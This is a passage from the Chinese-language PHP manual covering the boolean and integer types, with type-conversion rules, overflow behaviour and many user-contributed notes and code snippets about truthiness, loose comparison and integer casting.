++$x;      // $ix is 1
Anonymous 11-Jan-2018 07:38
Note: Non Strict Comparison '==' returns bool(true) for

null == 0 <-- returns true

Use Strict Comparison Instead

null === 0 <-- returns false
Hayley Watson 07-Dec-2017 11:07
NULL is supposed to indicate the absence of a value, rather than being thought of as a value itself. It's the empty slot, it's the missing information, it's the unanswered question. It's not a jumped-up zero or empty set.

This is why a variable containing a NULL is considered to be unset: it doesn't have a value. Setting a variable to NULL is telling it to forget its value without providing a replacement value to remember instead. The variable remains so that you can give it a proper value to remember later; this is especially important when the variable is an array element or object property.

It's a bit of semantic awkwardness to speak of a "null value", but if a variable can exist without having a value, the language and implementation have to have something to represent that situation. Because someone will ask. If only to see if the slot has been filled.
quickpick 22-Apr-2011 03:36
Note: empty array is converted to null by non-strict equal '==' comparison. Use is_null() or '===' if there is possible of getting empty array.

$a = array();

$a == null  <== return true
$a === null < == return false
is_null($a) <== return false


Boolean 布尔类型

bool 仅有两个值，用于表达真（truth）值，不是 true 就是 false。

语法

要指定一个 bool，使用常量 true 或 false。两个都不区分大小写。

<?php
$foo = True; // 设置 $foo 为 TRUE
?>

通常运算符所返回的 bool 值结果会被传递给控制流程。

<?php
// == 是一个操作符，它检测两个变量是否相等，并返回一个布尔值
if ($action == "show_version") {
echo "The version is 1.23";
}

// 这样做是不必要的...
if ($show_separators == TRUE) {
echo "<hr>\n";
}

// ...因为可以使用下面这种简单的方式：
if ($show_separators) {
echo "<hr>\n";
}
?>

转换为布尔值

要明确地将值转换成 bool，可以用 (bool) 强制转换。通常这不是必需的，因为值在逻辑上下文中使用将会自动解释为 bool 类型的值。更多信息请阅读类型转换页面。

参见类型转换的判别。

当转换为 bool 时，以下值被认为是 false：

  • 布尔值 false 本身
  • 整型值 0（零）
  • 浮点型值 0.0（零）-0.0（零）
  • 空字符串 ""，以及字符串 "0"
  • 不包括任何元素的数组
  • 原子类型 NULL（包括尚未赋值的变量）
  • 内部对象的强制转换行为重载为 bool。例如：由不带属性的空元素创建的 SimpleXML 对象。

所有其它值都被认为是 true（包括 资源 和 NAN）。

Warning

-1 和其它非零值（不论正负）一样，被认为是 true！

<?php
var_dump((bool) ""); // bool(false)
var_dump((bool) "0"); // bool(false)
var_dump((bool) 1); // bool(true)
var_dump((bool) -2); // bool(true)
var_dump((bool) "foo"); // bool(true)
var_dump((bool) 2.3e5); // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array()); // bool(false)
var_dump((bool) "false"); // bool(true)
?>

User Contributed Notes

federicktiku163 at gmail dot com 31-Jul-2023 07:19
I also noticed when converting :
for example

var_dump((bool) "")  // this will output  false

var_dump((bool) " ") // this will output true

So mistakenly adding space between the parentheses can give
you what you dont't want.
mike652638 at qq dot com 14-Jul-2021 04:41
// For those newbies who may also have puzzles as following:
  $bool_val = (bool)true;
  echo $bool_val;
  // Codes above prints 1

  $bool_val2 = (bool)false;
  echo $bool_val2;
  // Codes above prints nothing (literally nothing)

  // But how to print false or 0 (instead of nothing) for the falsy value or condition then ?

  // Solution1:
  $bool_exp1 = (bool)false;
  echo $bool_exp1 ? 'true' : 'false';
  // Codes above prints false;

  // Solution2:
  $bool_exp2 = (bool)false;
  echo json_encode($bool_exp2);
  // Codes above prints false;

  // Solution3:
  $bool_exp3 = (bool)false;
  echo var_export($bool_exp3);
  // Codes above prints false;

  // Soluton4:
  $bool_exp4 = (bool)false;
  echo (int)$bool_exp4;
  // Codes above prints 0;

  // Solution5:
  $bool_exp5 = (bool)false;
  var_dump($bool_exp5);
  // Codes above prints bool(false);
asma dot gi dot 14 at gmail dot com 25-May-2021 05:33
when using echo false; or print false; the display will be empty but when using echo 0; or print 0; the display will be 0.
asma dot gi dot 14 at gmail dot com 25-May-2021 05:26
Please keep in mind that the result of  0 == 'whatever'  is true in PHP Version 7 and false in PHP version 8.
Anonymous 13-Aug-2020 01:08
What will be the output you think if we add echo and print both at a time..

<?php

$a = 5;

print print $a;  // prints out: 51     inner 'print' prints the value of $a, then                                                                                                                                     // outer 'print' returns  the boolean true about print $a

echo print $a;  // prints out: 51     inner 'print' prints the value of $a, then
// outer 'echo' returns  the boolean true about print $a

echo echo $a;    // syntax error.. echo doesn't return

print echo $a;     // syntax error.. echo doesn't return

?>
sumon dot pdk dot bd at gmail dot com 21-Jan-2020 09:23
When compare zero (0) with string it's return true by type jugling. When compare with TRUE with also the same string it's also returning true.
But when comparing zero (0) with True then it's returning FALSE.

echo 0 == 'This is a string'; // 1
echo TRUE == 'This is a string'; //1
echo 0 == TRUE ; // FALSE
shady dot elmashad at feng dot bu dot edu dot eg 02-Sep-2017 03:10
First, this is very useful.
Second, I want to ask about the example, how the following:
var_dump((bool) "false");   // bool(true)

Thanks in advance
http://www.bu.edu.eg/staff/shadyelmashad3
Mark Simon 28-May-2017 02:35
Note on the OR operator.

A previous comment notes the trap you can fall into with this operator. This is about its usefulness.

Both OR and || are short-circuited operators, which means they will stop evaluating once they reach a TRUE value. By design, OR is evaluated after assignment (while || is evaluated before assignment).

This has the benefit of allowing some simple constructions such as:

<?php
    $stuff=getStuff() or die('oops');
    $thing=something() or $thing=whatever();
?>

The first example, often seen in PERL, could have been written as <?php if(!$stuff=getStuff()) die('oops'); ?> but reads a little more naturally. I have often used it in situations where null or false indicate failure.

The second allows for an alternative value if a falsy one is regarded as insufficient. The following example

<?php
    $page=@$_GET['page'] or $page=@$_COOKIE['page'] or $page=1;
?>

is a simple way sequencing alternative values. (Note the usual warnings about using the @ operator or accepting unfiltered input ...)

All this presupposes that 0 is also an unacceptable value in the situation.
Mark Simon 28-May-2017 02:19
Note for JavaScript developers:

In PHP, an empty array evaluates to false, while in JavaScript an empty array evaluates to true.

In PHP, you can test an empty array as <?php if(!$stuff) ...; ?> which won't work in JavaScript where you need to test the array length.

This is because in JavaScript, an array is an object, and, while it may not have any elements, it is still regarded as something.

Just a trap for young players who routinely work in both langauges.
goran77 at fastmail dot fm 29-Aug-2016 06:48
Just something that will probably save time for many new developers: beware of interpreting FALSE and TRUE as integers.
For example, a small function for deleting elements of an array may give unexpected results if you are not fully aware of what happens:

<?php

function remove_element($element, $array)
{
   //array_search returns index of element, and FALSE if nothing is found
   $index = array_search($element, $array);
   unset ($array[$index]);
   return $array;
}

// this will remove element 'A'
$array = ['A', 'B', 'C'];
$array = remove_element('A', $array);

//but any non-existent element will also remove 'A'!
$array = ['A', 'B', 'C'];
$array = remove_element('X', $array);
?>

The problem here is, although array_search returns boolean false when it doesn't find specific element, it is interpreted as zero when used as array index.

So you have to explicitly check for FALSE, otherwise you'll probably loose some elements:

<?php
//correct
function remove_element($element, $array)
{
   $index = array_search($element, $array);
   if ($index !== FALSE)
   {
       unset ($array[$index]);
   }
   return $array;
}
richie dot hayward at gmail dot com 11-Jun-2016 12:22
Actually from a complete noob point of view 0 resulting in false makes sense as many languages as I have been taught consider the value 1 as true and the value 0 as false a simple boolean value.

So lets says you think you set a variable to 0 and some how or another through your code this value has implicitly become and string instead of a int or boolean. Should PHP now consider it to evaluate to false. I wouldn't think so but hey I'm a PHP noob so perhaps I'm missing why you would ever want a "0" string to evaluate to true.
marklgr 21-Oct-2015 02:22
For those wondering why the string "0" is falsy, consider that a good deal of input data is actually string-typed, even when it is semantically numeral.

PHP often tries to autoconvert these strings to numeral, as the programmer certainly intended (try 'echo "2"+3'). Consequently, PHP designers decided to treat 0 and "0" similarly, ie. falsy, for consistency and to avoid bugs where the programmer believes he got a true numeral that would happen to be truthy when zero.
emanuelemicciulla[at]gmail[dot]com 13-Nov-2014 06:08
A lot of people apparently looking for this:
<?php
$strictBool = filter_var($stringBool, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
if($boolFanOvr === null) { /*manage error*/};
?>

it's TRUE for "true" "True" "TRUE" "Yes" "1" and so on.
FALSE for "false" "0" "no" and so on.
it's NULL if string doesn't represent a valid boolean.
Fred Koschara 15-May-2013 05:38
Ah, yes, booleans - bit values that are either set (TRUE) or not set (FALSE).  Now that we have 64 bit compilers using an int variable for booleans, there is *one* value which is FALSE (zero) and 2**64-1 values that are TRUE (everything else).  It appears there's a lot more truth in this universe, but false can trump anything that's true...

PHP's handling of strings as booleans is *almost* correct - an empty string is FALSE, and a non-empty string is TRUE - with one exception:  A string containing a single zero is considered FALSE.  Why?  If *any* non-empty strings are going to be considered FALSE, why *only* a single zero?  Why not "FALSE" (preferably case insensitive), or "0.0" (with how many decimal places), or "NO" (again, case insensitive), or ... ?

The *correct* design would have been that *any* non-empty string is TRUE - period, end of story.  Instead, there's another GOTCHA for the less-than-completely-experienced programmer to watch out for, and fixing the language's design error at this late date would undoubtedly break so many things that the correction is completely out of the question.

Speaking of GOTCHAs, consider this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y OR $x;
?>

Is $z TRUE or FALSE?

In this case, $z will be FALSE because the above code is equivalent to <?php ($z=$y) OR $x ?> rather than <?php $z=($y OR $x) ?> as might be expected - because the OR operator has lower precedence than assignment operators.

On the other hand, after this code sequence:
<?php
$x=TRUE;
$y=FALSE;
$z=$y || $x;
?>

$z will be TRUE, as expected, because the || operator has higher precedence than assignment:  The code is equivalent to $z=($y OR $x).

This is why you should NEVER use the OR operator without explicit parentheses around the expression where it is being used.
geza at turigeza dot com 26-Mar-2013 06:14
// someKey is a boolean true
$array = array('someKey'=>true);

// in the following 'false' string gets converted to a boolean true
if($array['someKey'] != 'false')
    echo 'The value of someKey is '.$array['someKey'];

As a result the above will output nothing :)

if($array['someKey'] == 'false')
    echo 'The value of someKey is '.$array['someKey'];

And the above will output
The value of someKey is 1

In short true == 'false' is true.
oscar at oveas dot com 01-Dec-2010 03:17
Dunno if someone else posted this solution already, but if not, here's a useful and function to convert strings to strict booleans.
Note this one only checks for string and defaults to the PHP (boolean) cast where e.g. -1 returns true, but you easily add some elseifs for other datatypes.

<?php
function toStrictBoolean ($_val, $_trueValues = array('yes', 'y', 'true'), $_forceLowercase = true)
{
    if (is_string($_val)) {
        return (in_array(
             ($_forceLowercase?strtolower($_val):$_val)
            , $_trueValues)
        );
    } else {
        return (boolean) $_val;
    }
}
?>
fyrye at torntech dot com 14-Jun-2010 04:39
Since I haven't seen it posted.
Here is a function that you can use if you have a need to force strict boolean values.
Hopefully this will save someone some time from searching for similar.
<?php
function strictBool($val=false){
    return is_integer($val)?false:$val == 1;
}
?>

Simply put, it verifies that the value passed is (bool)true otherwise it's false.

Examples:
__________________________________
<?php
$myBool = strictBool(true);
var_dump($myBool);
//returns (bool)true

$myar = array(0 => true);
$myBool = strictBool($myar[0]);
var_dump($myBool);
//returns (bool)true

$myBool = strictBool("hello");
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(false);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(array(0 => "hello"));
var_dump($myBool);
//returns (bool)false

$myBool = strictBool(1);
var_dump($myBool);
//returns (bool)false

$myBool = strictBool();
var_dump($myBool);
//returns (bool)false
?>
mercusmaximus at yahoo dot com 06-Feb-2010 01:50
Note that the comparison: (false == 0) evaluates to true and so will any value you set to false as well (without casting).
Symbol 11-Apr-2009 01:35
Just a side note, doesn't really matters, the reason -1 is true and not false is because boolean type is treated as unsigned, so -1 would be for example, if it's unsigned int32 translate to hex: 0xFFFFFFFF and back to decimal: 4294967295 which is non-zero. there isn't really a "negative boolean". it's a binary thing. :o (since it used to be a bit and then there was only 0 and 1 as an option)
admin at eexit dot fr 04-Nov-2008 12:27
Beware of certain control behavior with boolean and non boolean values :

<?php
// Consider that the 0 could by any parameters including itself
var_dump(0 == 1); // false
var_dump(0 == (bool)'all'); // false
var_dump(0 == 'all'); // TRUE, take care
var_dump(0 === 'all'); // false

// To avoid this behavior, you need to cast your parameter as string like that :
var_dump((string)0 == 'all'); // false
?>
wbcarts at juno dot com 06-Oct-2008 11:59
CODING PRACTICE...

Much of the confusion about booleans (but not limited to booleans) is the fact that PHP itself automatically makes a type cast or conversion for you, which may NOT be what you want or expect. In most cases, it's better to provide functions that give your program the exact behavior you want.
<?php

function boolNumber($bValue = false) {                      // returns integer
  return ($bValue ? 1 : 0);
}

function boolString($bValue = false) {                      // returns string
  return ($bValue ? 'true' : 'false');
}

$a = true;                                                  // boolean value
echo 'boolean $a AS string = ' . boolString($a) . '<br>';   // boolean as a string
echo 'boolean $a AS number = ' . boolNumber($a) . '<br>';   // boolean as a number
echo '<br>';

$b = (45 > 90);                                             // boolean value
echo 'boolean $b AS string = ' . boolString($b) . '<br>';   // boolean as a string
echo 'boolean $b AS number = ' . boolNumber($b) . '<br>';   // boolean as a number
echo '<br>';

$c = boolNumber(10 > 8) + boolNumber(!(5 > 10));            // adding booleans
echo 'integer $c = ' . $c .'<br>';

?>
Results in the following being printed...

 boolean $a AS string = true
 boolean $a AS number = 1

 boolean $b AS string = false
 boolean $b AS number = 0

 integer $c = 2

In other words, if we know what we want out of our program, we can create functions to accommodate. Here, we just wanted 'manual control' over numbers and strings, so that PHP doesn't confuse us.
Wackzingo 27-Jan-2008 06:39
It is correct that TRUE or FALSE should not be used as constants for the numbers 0 and 1. But there may be times when it might be helpful to see the value of the Boolean as a 1 or 0. Here's how to do it.

<?php
$var1 = TRUE;
$var2 = FALSE;

echo $var1; // Will display the number 1

echo $var2; //Will display nothing

/* To get it to display the number 0 for
a false value you have to typecast it: */

echo (int)$var2; //This will display the number 0 for false.
?>
Steve 15-Jan-2008 03:00
PHP does not break any rules with the values of true and false.  The value false is not a constant for the number 0, it is a boolean value that indicates false.  The value true is also not a constant for 1, it is a special boolean value that indicates true.  It just happens to cast to integer 1 when you print it or use it in an expression, but it's not the same as a constant for the integer value 1 and you shouldn't use it as one.  Notice what it says at the top of the page:

A boolean expresses a truth value.

It does not say "a boolean expresses a 0 or 1".

It's true that symbolic constants are specifically designed to always and only reference their constant value.  But booleans are not symbolic constants, they are values.  If you're trying to add 2 boolean values you might have other problems in your application.
artktec at gmail dot com 27-Sep-2007 09:37
Note you can also use the '!' to convert a number to a boolean, as if it was an explicit (bool) cast then NOT.

So you can do something like:

<?php
$t = !0; // This will === true;
$f = !1; // This will === false;
?>

And non-integers are casted as if to bool, then NOT.

Example:

<?php
$a = !array();      // This will === true;
$a = !array('a');   // This will === false;
$s = !"";           // This will === true;
$s = !"hello";      // This will === false;
?>

To cast as if using a (bool) you can NOT the NOT with "!!" (double '!'), then you are casting to the correct (bool).

Example:

<?php
$a = !!array();   // This will === false; (as expected)
/*
This can be a substitute for count($array) > 0 or !(empty($array)) to check to see if an array is empty or not  (you would use: !!$array).
*/

$status = (!!$array ? 'complete' : 'incomplete');

$s = !!"testing"; // This will === true; (as expected)
/*
Note: normal casting rules apply so a !!"0" would evaluate to an === false
*/
?>
terminatorul at gmail dot com 29-Apr-2007 02:21
Beware that "0.00" converts to boolean TRUE !

You may get such a string from your database, if you have columns of type DECIMAL or CURRENCY. In such cases you have to explicitly check if the value is != 0 or to explicitly convert the value to int also, not only to boolean.


Integer 整型

int 是集合 ? = {..., -2, -1, 0, 1, 2, ...} 中的某个数。

参见

  • 浮点数
  • 任意精度/BCMath
  • 任意长度整数/GMP

语法

Int 可以使用十进制，十六进制，八进制或二进制表示，前面可以加上可选的符号（- 或者 +）。 可以用负运算符 来表示一个负的 int。

要使用八进制表达，数字前必须加上 0（零）。 PHP 8.1.0 起，八进制表达也可以在前面加上 0o 或者 0O 。 要使用十六进制表达，数字前必须加上 0x。要使用二进制表达，数字前必须加上 0b。

从 PHP 7.4.0 开始，整型数值可能会包含下划线 (_)，为了更好的阅读体验，这些下划线在展示的时候，会被 PHP 过滤掉。

Example #1 整数文字表达

<?php
$a = 1234; // 十进制数
$a = 0123; // 八进制数 (等于十进制 83)
$a = 0o123; // 八进制数 (PHP 8.1.0 起)
$a = 0x1A; // 十六进制数 (等于十进制 26)
$a = 0b11111111; // 二进制数字 (等于十进制 255)
$a = 1_234_567; // 整型数值 (PHP 7.4.0 以后)
?>

int literal 的结构形式从 PHP 8.1.0 开始是（之前不允许使用 0o 或 0O 八进制前缀，并且 PHP 7.4.0 之前不允许使用下划线）：

decimal     : [1-9][0-9]*(_[0-9]+)*
            | 0

hexadecimal : 0[xX][0-9a-fA-F]+(_[0-9a-fA-F]+)*

octal       : 0[oO]?[0-7]+(_[0-7]+)*

binary      : 0[bB][01]+(_[01]+)*

integer     : decimal
            | hexadecimal
            | octal
            | binary

整型数 int 的字长和平台有关，尽管通常最大值是大约二十亿（32 位有符号）。64 位平台下的最大值通常是大约 9E18。 PHP 不支持无符号的 int。int 值的字长可以用常量 PHP_INT_SIZE来表示， 最大值可以用常量 PHP_INT_MAX 来表示， 最小值可以用常量 PHP_INT_MIN 表示。

整数溢出

如果给定的一个数超出了 int 的范围，将会被解释为 float。同样如果执行的运算结果超出了 int 范围，也会返回 float。

Example #2 32 位系统下的整数溢出

<?php
$large_number = 2147483647;
var_dump($large_number); // int(2147483647)

$large_number = 2147483648;
var_dump($large_number); // float(2147483648)

$million = 1000000;
$large_number = 50000 * $million;
var_dump($large_number); // float(50000000000)
?>

Example #3 64 位系统下的整数溢出

<?php
$large_number = 9223372036854775807;
var_dump($large_number); // int(9223372036854775807)

$large_number = 9223372036854775808;
var_dump($large_number); // float(9.2233720368548E+18)

$million = 1000000;
$large_number = 50000000000000 * $million;
var_dump($large_number); // float(5.0E+19)
?>

PHP 没有 int 除法取整运算符，要使用 intdiv() 实现。 1/2 产生出 float 0.5。 值可以舍弃小数部分，强制转换为 int，或者使用 round() 函数可以更好地进行四舍五入。

<?php
var_dump(25/7); // float(3.5714285714286)
var_dump((int) (25/7)); // int(3)
var_dump(round(25/7)); // float(4)
?>

转换为整型

要明确地将一个值转换为 int，用 (int) 或 (integer) 强制转换。不过大多数情况下都不需要强制转换，因为当运算符，函数或流程控制需要一个 int 参数时，值会自动转换。还可以通过函数 intval() 来将一个值转换成 int 整型。

将 resource 转换成 int 时， 结果会是 PHP 运行时为 resource 分配的唯一资源号。

参见：类型转换的判别。

从布尔值转换

false 将产生出 0（零），true 将产生出 1（壹）。

从浮点型转换

当从浮点数 float 转换成整数 int时，将向下取整。自 PHP 8.1.0 起，当将非整数类型的 float 转换为失去精度的 int 时，会发出弃用通知。

<?php

function foo($value): int {
return $value;
}

var_dump(foo(8.1)); // 自 PHP 8.1.0 起："Deprecated: Implicit conversion from float 8.1 to int loses precision"
var_dump(foo(8.1)); // PHP 8.1.0 之前为 8
var_dump(foo(8.0)); // 8 in both cases

var_dump((int)8.1); // 8 in both cases
var_dump(intval(8.1)); // 8 in both cases
?>

如果浮点数超出了 int 范围（32 位平台下通常为 +/- 2.15e+9 = 2^31，64 位平台下，通常为 +/- 9.22e+18 = 2^63），则结果为未定义， 因为没有足够的精度给出一个确切的 int 结果。 在此情况下没有警告，甚至没有任何通知！

Note:

NaN 和 Infinity 在转换成 int 时是零。

Warning

绝不要将未知的分数强制转换为 int，这样有时会导致不可预料的结果。

<?php
echo (int) ( (0.1+0.7) * 10 ); // 显示 7!
?>

参见关于浮点数精度的警告。

从字符串转换

如果 string 是 numeric 或者前导数字， 则将它解析为相应的 int 值，否则将转换为零（0）。

从 NULL 转换

null 会转换为零（0）。

从其它类型转换

Caution

没有定义从其它类型转换为 int 的行为。 不要依赖任何现有的行为，因为它会未加通知地改变。

User Contributed Notes

ganlvtech at qq dot com 07-Aug-2020 07:34
Be aware of float to int cast overflow

<?php

// You may expected these
var_dump(0x7fffffffffffffff);                // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1);            // float(9.2233720368548E+18)
var_dump((int)(0x7fffffffffffffff + 1));     // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1 > 0);        // bool(true)
var_dump((int)(0x7fffffffffffffff + 1) > 0); // bool(true)
var_dump((int)'9223372036854775807');        // int(9223372036854775807)
var_dump(9223372036854775808);               // float(9.2233720368548E+18)
var_dump((int)'9223372036854775808');        // int(9223372036854775807)
var_dump((int)9223372036854775808);          // int(9223372036854775807)

// But actually, it likes these
var_dump(0x7fffffffffffffff);                // int(9223372036854775807)
var_dump(0x7fffffffffffffff + 1);            // float(9.2233720368548E+18)
var_dump((int)(0x7fffffffffffffff + 1));     // int(-9223372036854775808)   <-----
var_dump(0x7fffffffffffffff + 1 > 0);        // bool(true)
var_dump((int)(0x7fffffffffffffff + 1) > 0); // bool(false)                 <-----
var_dump((int)'9223372036854775807');        // int(9223372036854775807)
var_dump(9223372036854775808);               // float(9.2233720368548E+18)
var_dump((int)'9223372036854775808');        // int(9223372036854775807)
var_dump((int)9223372036854775808);          // int(-9223372036854775808)   <-----

?>

These overflows are dangerous when you try to compare it with zero, or substract it from another value (e.g. money).
kuzawinski dot marcin_NOSPAM at gmail dot com 03-Aug-2020 01:02
Integer literals may be decimal, octal, hexadecimal or binary, but integer values have single representation;

<?php

var_dump(010); // int(8) NOT int(010)
var_dump(0x10); // int(16) NOT int(0x10)
var_dump(0b10); // int(2) NOT int(0b10)

?>

This is the reason why casting integer to string gives us always a decimal:

<?php

var_dump((string) 010); // string(8) NOT string(010)
var_dump((string) 0x10); // string(16) NOT string(0x10)
var_dump((string) 0b10); // string(2) NOT string(0b10)

?>
13453814063 at 163 dot com 28-Dec-2017 03:10
$e = 0x8000000000000000;
$e2 = 0b1000000000000000000000000000000000000000000000000000000000000000;
if ($e == $e2){
    echo "e==e2<br>";
}else{
    echo "e!=e2<br>";
}
pirnt "e!=e2"
----------------------------
echo decbin($e) . "<br>";
echo decbin($e2) . "<br>";
the result is :
1000000000000000000000000000000000000000000000000000000000000000
111111111111111111111111111111111111111111111111111110000000000
egwayjen at gmail dot com 27-Nov-2017 10:01
"There is no integer division operator in PHP". But since PHP 7, there is the intdiv function.
dhairya lakhera 20-Nov-2017 04:04
-------------------------------------------------------------------------
Question :
var_dump((int) 010);  //Output 8

var_dump((int) "010"); //output 10

First one is octal notation so the output is correct. But what about the when converting "010" to integer. it should be also output 8 ?
--------------------------------------------------------------------------
Answer :

Casting to an integer using (int) will always cast to the default base, which is 10.

Casting a string to a number this way does not take into account the many ways of formatting an integer value in PHP (leading zero for base 8, leading "0x" for base 16, leading "0b" for base 2). It will simply look at the first characters in a string and convert them to a base 10 integer. Leading zeroes will be stripped off because they have no meaning in numerical values, so you will end up with the decimal value 10 for (int)"010".

Converting an integer value between bases using (int)010 will take into account the various ways of formatting an integer. A leading zero like in 010 means the number is in octal notation, using (int)010 will convert it to the decimal value 8 in base 10.

This is similar to how you use 0x10 to write in hexadecimal (base 16) notation. Using (int)0x10 will convert that to the base 10 decimal value 16, whereas using (int)"0x10" will end up with the decimal value 0: since the "x" is not a numerical value, anything after that will be ignored.

If you want to interpret the string "010" as an octal value, you need to instruct PHP to do so. intval("010", 8) will interpret the number in base 8 instead of the default base 10, and you will end up with the decimal value 8. You could also use octdec("010") to convert the octal string to the decimal value 8. Another option is to use base_convert("010", 8, 10) to explicitly convert the number "010" from base 8 to base 10, however this function will return the string "8" instead of the integer 8.

Casting a string to an integer follows the same the logic used by the intval function:

Returns the integer value of var, using the specified base for the conversion (the default is base 10).
intval allows specifying a different base as the second argument, whereas a straight cast operation does not, so using (int) will always treat a string as being in base 10.

php > var_export((int) "010");
10
php > var_export(intval("010"));
10
php > var_export(intval("010", 8));
8
litbai 25-Feb-2016 08:26
<?php
$ipArr = explode('.', $ipString);
$ipVal = ($ipArr[0] << 24)
       + ($ipArr[1] << 16)
       + ($ipArr[2] << 8)
       + $ipArr[3]
        ;
?>
1. the priority of bit op is lower than '+',so there should be brackets.
2. there is no unsighed int in PHP, if you use 32 bit version，the code above will get negative result when the first position of IP string greater than 127.
3. what the code actually do is calculate the integer value of transformed 32 binary bit from IP string.
dewi at dewimorgan dot com 09-May-2015 07:41
Note that the soft-typing of numbers in PHP means that some things become very difficult. For example, efficiently emulating the more common linear congruential generators (LCGs) for fast, deterministic, pseudo-randomness. The naive code to create the next value in a sequence (for power-of-2 values of $m) is:

$seed = ($seed * $a + $c) % $m;

...where $m, $a, and $c are values and data types carefully chosen such that repeating this operation will eventually generate every value in the range $0 to $m, with no repetition.

I can find no good commonly used LCGs which use PHP-compatible values. The LCG values used in by rand() in systems like Borland Delphi, Virtual Pascal, MS Visual/Quick C/C++, VMS's MTH$RANDOM, old versions of glibc, Numerical Recipes, glibc, GCC, ANSI C, Watcom, Digital Mars, CodeWarrior, IBM VisualAge C/C++, java.util.Random, Newlib, MMX... *all* fail when ported, for one of two reasons, and sometimes both:

 - In PHP on 32 bit machines and all Windows machines, $m = 2^32 or larger requires UInt or even UInt64, or the result becomes negative.

- Large $a multiplied by an integer seed gets converted to a float64, but the number can be too long for the 53-bit mantissa, and it drops the least significant digits... but the LCG code above requires that the most significant digits should be lost.

These are two classes of problem to beware of when porting integer math to PHP,  and I see no clean and efficient way to avoid either one.

So if designing a cross-platform system that must work in PHP, you must select LCG values that fit the following criteria:
$m = 2^31 or less (PHP limitation). Recommend: 2^31.
$a = Less than 2^22 (PHP limitation); $a-1 divisible by all prime factors of $m; $a-1 divisible by 4 if $m is. Recommend: 1+(4*(any prime <= 1048573)).
$c = smaller than (2^53-($m*$a)) (PHP limitation); relatively prime with $m. Recommend: any prime <= 23622320123.
Anonymous 09-Jan-2015 09:31
Converting to an integer works only if the input begins with a number
(int) "5txt" // will output the integer 5
(int) "before5txt" // will output the integer 0
(int) "53txt" // will output the integer 53
(int) "53txt534text" // will output the integer 53
php at richardneill dot org 28-Feb-2013 06:25
A leading zero in a numeric literal means "this is octal". But don't be confused: a leading zero in a string does not. Thus:
$x = 0123;          // 83
$y = "0123" + 0     // 123
pere dot cil at wanadoo dot fr 15-Mar-2011 01:59
Please also note that the maximum stored in the integer depends on the platform / compilation; on windows xp 32 bits, the following value:

0x5468792130ABCDEF

echoes to:

6.0822444802213E+18 (cast to float)

On a fully 64 bits system, it echoes to:

6082244480221302255
wbcarts at juno dot com 06-Oct-2008 06:25
PHP offers a slew of built-in functions and automatic type-casting routines which can get pretty complicated. But most of the time, you still have to take matters into your own hands and allow PHP to do its thing. In that case, and something that has NOT been mentioned, is how to construct your code. To keep things simple, I divide all my scripts in half. The top half gives my scripts the "capability" they need, and the lower half is the actual code to be "run" or "executed".

<?php
/*
 * build the program's capability - define variables and functions...
 */
$item_label = '';        // type string
$item_price = 0.0;       // type float
$item_qty = 1;           // type integer
$item_total = 0.0;       // type float - to set use calculate()

function calculate(){
  global $item_price, $item_qty, $item_total;
  $item_price = number_format($item_price, 2);
  $item_total = number_format(($item_price * $item_qty), 2);
}

function itemToString() {
  global $item_label, $item_price, $item_qty, $item_total;
  return "$item_label [price=\$$item_price, qty=$item_qty, total=\$$item_total]";
}

/*
 * run the program - set data, call methods...
 */
$item_label = "Coffee";
$item_price = 3.89;
$item_qty = 2;
calculate();           // set $item_total
echo itemToString();   // -> Coffee [price=$3.89, qty=2, total=$7.78]

$item_label = "Chicken";
$item_price = .80;     // per lb.
$item_qty = 3.5;       // lbs.
calculate();           // set $item_total
echo itemToString();   // -> Chicken [price=$0.80, qty=3.5, total=$2.80]
?>
Note: All type-casting is done by PHP's built-in number_format() method. This allows our program to enter any number (float or int) on item price or quantity in the runtime part of our script. Also, if we explicitly cast values to integer in the capability part of our script, then we start getting results that may not be desirable for this program. For example, if in the calculate method we cast item_qty to integer, then we can no longer sell chicken by the pound!
eric 11-Jun-2008 01:50
In response to the comment by me at troyswanson dot net:

-2147483648 falls into the range of 32 bit signed integers yet php treats it as a float.  However, -2147483647-1 is treated as an integer.

The following code demonstrates:
<?php
    var_dump(-2147483648); //float(-2147483648)
    var_dump(-2147483647 - 1); //int(-2147483648)
?>

This is probably very similar to the MS C bug which also treats -2147483648 as an UNSIGNED because it thinks it's out of the range of a signed int.

The problem is that the parser does not view "-x" as a single token, but rather as two, "-" and "x".  Since "x" is out of the range of an INT, it is promoted to float, even though in this unique case, "-x" is in the range of an int.

The best cure is probably to replace "-2147483648" with "0x80000000", as that is the hexadecimal equivalent of the same number.

Hope that helps explain what's going on

Peace

 - Eric / fez
darkshire 16-Nov-2007 04:56
d_n at NOSPAM dot Loryx dot com
13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

This can be written in a bit more efficient way:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0]<<24
            + $ipArr[1]<<16
            + $ipArr[2] <<8
            + $ipArr[3]
            ;
?>

shift is more cheaper.
d_n at NOSPAM dot Loryx dot com 13-Aug-2007 05:33
Here are some tricks to convert from a "dotted" IP address to a LONG int, and backwards. This is very useful because accessing an IP addy in a database table is very much faster if it's stored as a BIGINT rather than in characters.

IP to BIGINT:
<?php
  $ipArr    = explode('.',$_SERVER['REMOTE_ADDR']);
  $ip       = $ipArr[0] * 0x1000000
            + $ipArr[1] * 0x10000
            + $ipArr[2] * 0x100
            + $ipArr[3]
            ;
?>

IP as BIGINT read from db back to dotted form:

Keep in mind, PHP integer operators are INTEGER -- not long. Also, since there is no integer divide in PHP, we save a couple of S-L-O-W floor (<division>)'s by doing bitshifts. We must use floor(/) for $ipArr[0] because though $ipVal is stored as a long value, $ipVal >> 24 will operate on a truncated, integer value of $ipVal! $ipVint is, however, a nice integer, so
we can enjoy the bitshifts.

<?php
        $ipVal = $row['client_IP'];
        $ipArr = array(0 =>
                    floor(  $ipVal               / 0x1000000) );
        $ipVint   = $ipVal-($ipArr[0]*0x1000000); // for clarity
